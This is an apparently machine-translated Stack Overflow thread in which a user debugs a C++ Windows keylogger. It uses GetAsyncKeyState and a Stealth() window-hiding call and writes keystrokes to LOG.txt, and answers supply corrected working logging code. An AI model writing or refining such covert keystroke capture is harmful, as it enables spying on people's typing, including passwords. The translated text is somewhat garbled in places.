我一直是一个访问者的stackoverflow很长一段时间,这是我在这个网站上的第一个问题:)我试图写一个键盘logging,这将保存在.txt文件中按下的键,但问题是这样的。 我用cout检查cmd.exe的输出,我发现它工作正常,但是当我打开LOG.txt文件时,我发现程序打印abcdefgh为012345678.只有这些noncapital字母不起作用。 每个其他键都在文件内正确打印。 这是我的主要function:
int main() { Stealth(); //Focus(); char i; while (1) { for(i = 8; i <= 255; i++){ if (GetAsyncKeyState(i) == -32767){ i=_getch(); cout << i << endl; Save(i,"LOG.txt"); } } } system("pause"); return 0; }
保存function:
int Save(int key, char *file) { FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); *(determining special conditions like ENTER,SPACE...)* *...* *...* else fprintf(OUTPUT_FILE, "%s", &key); fclose(OUTPUT_FILE); return 0; }
到目前为止,我看到一件事情是错的,而有些事我会做得不一样。 首先,我不认为每次写入单个字符时都会打开并关闭文件。
其次(错误的错误),是你调用fprintf
指定一个字符串%s
并给它一个整数指针&key
。 一个简单的解决方案应该是fprintf(OUTPUT_FILE, "%c", (char)key)
,尽管存在用于放置单个字符(即putc
fprintf(OUTPUT_FILE, "%c", (char)key)
更优雅的解决方案。
恕我直言,你有这个代码中的一个主要问题:你使用i
作为一个循环索引,并在循环中改变它的值。
另一个问题是你的Save
功能是错误的。
在我自己的盒子上,下面的代码正确显示按下的键,并将它们记录到文件LOG.txt
:
int Save(int key, char *file) { FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a"); fprintf(OUTPUT_FILE, " %c (%02x)", key, key); fclose(OUTPUT_FILE); return 0; } int main() { //Stealth(); //Focus(); char i; // truncate log file fd = fopen("LOG.txt", "w"); fclose(fd); while (1) { for(i = 8; i <= 255; i++){ if (GetAsyncKeyState(i) == -32767){ //i=_getch(); cout << i << endl; Save(i,"LOG.txt"); } } } // system("pause"); never used ... return 0; }
当然,我不得不按Ctrl-C或Ctrl-Break停止程序,而非字母数字键显示奇怪的符号…
但是,当我输入ABCDEFGH012345678,然后Ctrl-C(不使用数字键盘),我得到LOG.txt中的预期:
A(41)B(42)C(43)D(44)E(45)F(46)G(47)H(48)0(30)1(31)2(32)3(33)4 34)5(35)6(36)7(37)8(38)。 (11)
表示的最后一个字符是这里的一个点的Ctrl .
但实际上是一个方…